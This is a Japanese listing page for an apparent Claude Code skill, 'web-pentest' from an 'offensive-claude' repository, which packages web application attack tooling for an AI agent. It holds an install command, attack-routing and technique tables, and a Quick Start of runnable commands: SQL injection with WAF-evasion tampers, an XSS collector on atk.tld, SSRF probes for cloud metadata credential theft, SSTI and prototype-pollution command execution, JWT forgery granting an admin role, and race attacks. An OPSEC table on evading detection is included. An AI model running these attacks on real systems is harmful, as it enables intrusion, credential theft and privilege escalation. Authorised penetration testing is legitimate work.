web-pentest について
Web、API、認証、ビジネスロジックの評価を扱う Web アプリケーションのペネトレーションテストスキルです。観察した入力の特徴から関連資料へ誘導し、一般的なテスト領域のスクリプトと手順をまとめています。
主な機能
- 01シグナルに応じたテスト選択
- 02Web と API の脆弱性対応
- 03認証とアクセス制御のテスト
- 04デシンク、キャッシュ、競合状態のテスト
- 05リファレンスと補助スクリプト
活用シーン
- 01偵察後の Web アプリ評価
- 02API 認証とアクセス制御のテスト
- 03入力に起因するインジェクションや SSRF リスクの調査
- 04ビジネスロジックのフローと競合状態の検証
MCP 対応
proxy-mcp-integration.md で、稼働中の Burp/Caido プロキシ MCP を使ったトラフィックの確認と再送を案内しています。データ境界でのヘッダー秘匿も指定しています。
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ hypnguyen1209/ offensive-claude --skill web-pentestインストール後、Claude Code で/web-pentestを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
references/auth-api-access-control.mdbusiness-logic-abuse.mdhttp-desync-cache.mdinjection-sqli-cmdi.mdproxy-mcp-integration.mdssrf-cloud-metadata.mdssti-deserialization.mdxss-csp-clientside.mdscripts/desync_probe.pygraphql_audit.pyjwt_forge.pyproto_ssti_gadgets.pyrace_single_packet.pysession_entropy.pyssrf_toolkit.pyxss_csp_forge.py詳細
Web アプリケーションのペネトレーションテスト
有効化するタイミング
- Web アプリケーションのセキュリティ評価(ブラックボックス/グレーボックス/ホワイトボックス)
- API のセキュリティテスト(REST、GraphQL、WebSocket)
- 認証とセッション管理のテスト(JWT、OAuth/OIDC、SAML)
- ビジネスロジックと競合状態の調査
- WAF/CSP のバイパス、フィルター回避、CDN レイヤーへの攻撃(デシンク、キャッシュ)
- 最新の 2024-2026 年の攻撃ベクトルの検証:HTTP/1.1 デシンク(0.CL/TE.0)、SSRF->クラウド メタデータ、プロトタイプ汚染->RCE、SSTI サンドボックスの回避
入力シグナルによるルーティング(X を確認したときのテスト)
テストをすばやく選択 — 観察したパラメーター/挙動から、適切な詳細調査へ進みます:
| 観察された入力シグナル | テスト対象 | 参照先 |
|---|---|---|
id、uid、order_id、account、GUID/連番の参照値 | IDOR/BOLA、アクセス制御 | references/auth-api-access-control.md |
url、next、callback、dest、webhook、image_url | SSRF + クラウドメタデータ、オープンリダイレクト、OAuth チェーン | references/ssrf-cloud-metadata.md |
price、qty、coupon、balance、status、状態の変更 | ビジネスロジック + シングルパケット競合 | references/http-desync-cache.md(競合) |
| 出力に反映されるテンプレート/プレビュー/名前 | SSTI -> RCE、反射型 XSS | references/ssti-deserialization.md |
反映される検索/フィルター/ソート、q=、入力をエコーするエラー | SQLi、XSS、コマンドインジェクション | references/injection-sqli-cmdi.md |
token、jwt、Authorization、Cookie、OAuth の state | JWT の偽造、セッション/OAuth の脆弱性 | references/auth-api-access-control.md |
空/未指定/session=、認証情報なしでログインできる、user[$ne]= | 認証チェックの改ざん(空/null/NoSQL/型のすり替え/HPP)、トークン予測 | references/auth-api-access-control.md |
シリアル化された blob/base64 オブジェクト/__proto__ | デシリアライズ、プロトタイプ汚染 | references/ssti-deserialization.md |
CDN/キャッシュの背後、X-Forwarded-*、キー付きパラメーター | デシンク(0.CL/TE.0)、キャッシュポイズニング | references/http-desync-cache.md |
Technique Map
| Technique | ATT&CK | CWE | Reference | Script |
|---|---|---|---|---|
| SQL injection (UNION/blind/NoSQL) | T1190 | CWE-89 | references/injection-sqli-cmdi.md | scripts/ssrf_toolkit.py (probe pattern) / sqlmap |
| OS command / argument injection | T1059 | CWE-78 / CWE-88 | references/injection-sqli-cmdi.md | - |
| Reflected/stored/DOM XSS | T1059.007 | CWE-79 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| CSP bypass / script gadgets | T1059.007 | CWE-1021 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| Client-side prototype pollution -> XSS | T1059.007 | CWE-1321 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| SSRF + cloud metadata theft | T1552.005 | CWE-918 | references/ssrf-cloud-metadata.md | scripts/ssrf_toolkit.py |
| IMDSv2 bypass (Axios gadget) | T1552.005 | CWE-113 | references/ssrf-cloud-metadata.md | scripts/proto_ssti_gadgets.py |
| HTTP request smuggling / desync | T1190 | CWE-444 | references/http-desync-cache.md | scripts/desync_probe.py |
| Web cache poisoning / deception | T1557 | CWE-525 | references/http-desync-cache.md | scripts/desync_probe.py |
| SSTI -> RCE (Jinja2/Twig/FM/...) | T1059 | CWE-1336 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |
| Server-side prototype pollution -> RCE | T1059 | CWE-1321 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |
| Insecure deserialization (Java/.NET/PHP) | T1059 | CWE-502 | references/ssti-deserialization.md | ysoserial / ysoserial.net |
| JWT forgery (none/confusion/jku/jwk/kid) | T1078 | CWE-347 | references/auth-api-access-control.md | scripts/jwt_forge.py |
| Auth-check tampering (empty/null/NoSQL-op/type-juggle/HPP) | T1556 | CWE-287 / CWE-697 / CWE-943 | references/auth-api-access-control.md | - |
| Session token prediction (weak PRNG/entropy) | T1539 | CWE-330 | references/auth-api-access-control.md | scripts/session_entropy.py |
| OAuth/OIDC/SAML auth bypass | T1078 | CWE-287 | references/auth-api-access-control.md | scripts/jwt_forge.py |
| GraphQL abuse (batch/alias/depth) | T1190 | CWE-770 | references/auth-api-access-control.md | scripts/graphql_audit.py |
| IDOR / BOLA / mass assignment | T1078 | CWE-639 / CWE-915 | references/auth-api-access-control.md | - |
| Race condition (single-packet) | T1190 | CWE-362 | references/auth-api-access-control.md | scripts/race_single_packet.py |
| Business-logic abuse (price/refund/workflow/race) | T1539 | CWE-841 | references/business-logic-abuse.md | scripts/race_single_packet.py |
| HTTP Parameter Pollution (HPP) | T1190 | CWE-235 / CWE-88 | references/injection-sqli-cmdi.md | - |
| File-upload -> webshell / RCE | T1505.003 | CWE-434 | references/injection-sqli-cmdi.md | - |
Quick Start
# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
# Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig
# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment
# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"
# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws
# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose
# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"
# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql
# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."
# -> feed each confirmed issue into templates/exploit/findings/ with
# severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.
OPSEC と検知(概要)
| 手法 | テレメトリ/IOC | 検知(Sigma/EDR) | OPSEC に関する注意 |
|---|---|---|---|
| SQLi/cmdi | SQL キーワード、SLEEP/WAITFOR、Web サービスが sh/curl を起動 | Web サーバーの正規表現 Sigma;www-data から子シェルが起動した場合の EDR | 時間ベースは遅く、ノイズも多いため、まずインバンド読み取りを試します。--random-agent --delay |
| XSS/CSP/クライアント側 PP | パラメーター内の <script、onerror=、__proto__;CSP report-uri へのアクセス | Web サーバーの正規表現;Trusted-Types 違反アラート | 永続的な __proto__ は共有キャッシュページを破損させる可能性があるため、避けてください |
| SSRF/メタデータ | アプリケーション層から 169.254.169.254/メタデータホストへのアクセス | プロキシ Sigma;GuardDuty の認証情報流出 | トークン取得の実証にとどめます。コラボレーターのサブドメインをローテーションしてください |
| HTTP デシンク/キャッシュ | CL と TE の併用、obs-fold、CDN への OPTIONS での Expect | プロキシ Sigma;曖昧なフレーミングを拒否 | 同じテナントのトラフィックを汚染するため、対象を限定し、本番環境で POST スマグリングを行わないでください |
| SSTI/PP/デシリアライズ | {{ }}/${ }、NODE_OPTIONS、rO0AB、JNDI の外向き通信 | Web サーバー/本文の Sigma;java から LDAP/RMI への通信を検知する EDR | まず id で調査します。リバースシェルは EDR を作動させるため、汚染した設定を元に戻してください |
| JWT/OAuth/GraphQL | alg:none、不明な jku/kid、複数オペレーションを含む GraphQL 本文 | アプリケーション Sigma;検証失敗の急増 | 偽造 JWT の試行はアラートの対象です。GraphQL のブルートフォースでは、ワードリストとレートを制限してください |
| レース(シングルパケット) | ほぼ同時に送信される、状態変更リクエストのバースト | 1 秒間のウィンドウ内にエンドポイントごとにレートを制限する Sigma | -n を小さく保ち、クリーンアップのため、変更された状態を記録してください |
詳細解説
- references/injection-sqli-cmdi.md — SQLi(UNION/ブラインド/エラー/NoSQL)、OS コマンド と引数のインジェクション、HTTP Parameter Pollution(HPP)、ファイルアップロードから Web シェル/RCE への攻撃、 sqlmap のタンパーワークフロー、最新の WAF/Unicode 回避。
- references/xss-csp-clientside.md — XSS コンテキスト、DOM シンク、CSP バイパス+ スクリプトガジェット、クライアント側プロトタイプ汚染から XSS への攻撃、mXSS/サニタイザーバイパス。
- references/ssrf-cloud-metadata.md — SSRF パーサーの混乱、gopher/redis、 AWS/GCP/Azure のメタデータ、IMDSv2 の実態+Axios のバイパス、HTML から PDF への切り替え、 2024~2026 年の CVE(Azure OpenAI、Oracle EBS、Next.js、ColdFusion)。
- references/http-desync-cache.md — CL.TE/TE.CL、TE.0(2024)、0.CL/Expect と CVE-2025-32094(Akamai)、TE.TE chunk-ext、キャッシュポイズニング/キャッシュ詐欺 (「Gotta cache 'em all」、ACM CCS 2024)、パイプライン処理とデシンクの注意点。
- references/ssti-deserialization.md — エンジンごとの SSTI RCE、サンドボックス脱出 (CVE-2024-22195、Frappe/XWiki/Yeti)、Node のプロトタイプ汚染から RCE への攻撃(GHunter、 NODE_OPTIONS --import)、Java/.NET/PHP のデシリアライズガジェットチェーン。
- references/auth-api-access-control.md — JWT 偽造、OAuth/OIDC/SAML、GraphQL のバッチ/エイリアス/深度の悪用、セッションと認証チェックの改ざん(空/null/falsy 値、 認証処理への NoSQL 演算子+型ジャグリング+HPP)、セッショントークンの予測/エントロピー (scripts/session_entropy.py)、クロスアイデンティティテスト用のテストアカウント設定、 IDOR/BOLA/一括割り当て、HTTP/2 のシングルパケットレース攻撃。
- references/business-logic-abuse.md — 想定される状態機械をモデル化し、その後、遷移を破ります。 価格/数量/クーポンの改ざん、返金/支払いとシングルパケットレース、 ワークフローのステップスキップ、冪等性の欠落、テナント/ロールの混同、脆弱性の連鎖。
- references/proxy-mcp-integration.md — 稼働中の Burp/Caido プロキシ MCP を操作し、
実際のトラフィックを確認して認証付きで再生します。データ境界ではヘッダーの秘匿化
(
redact_headers.py)を必ず行ってください。
コメント
Markdown 対応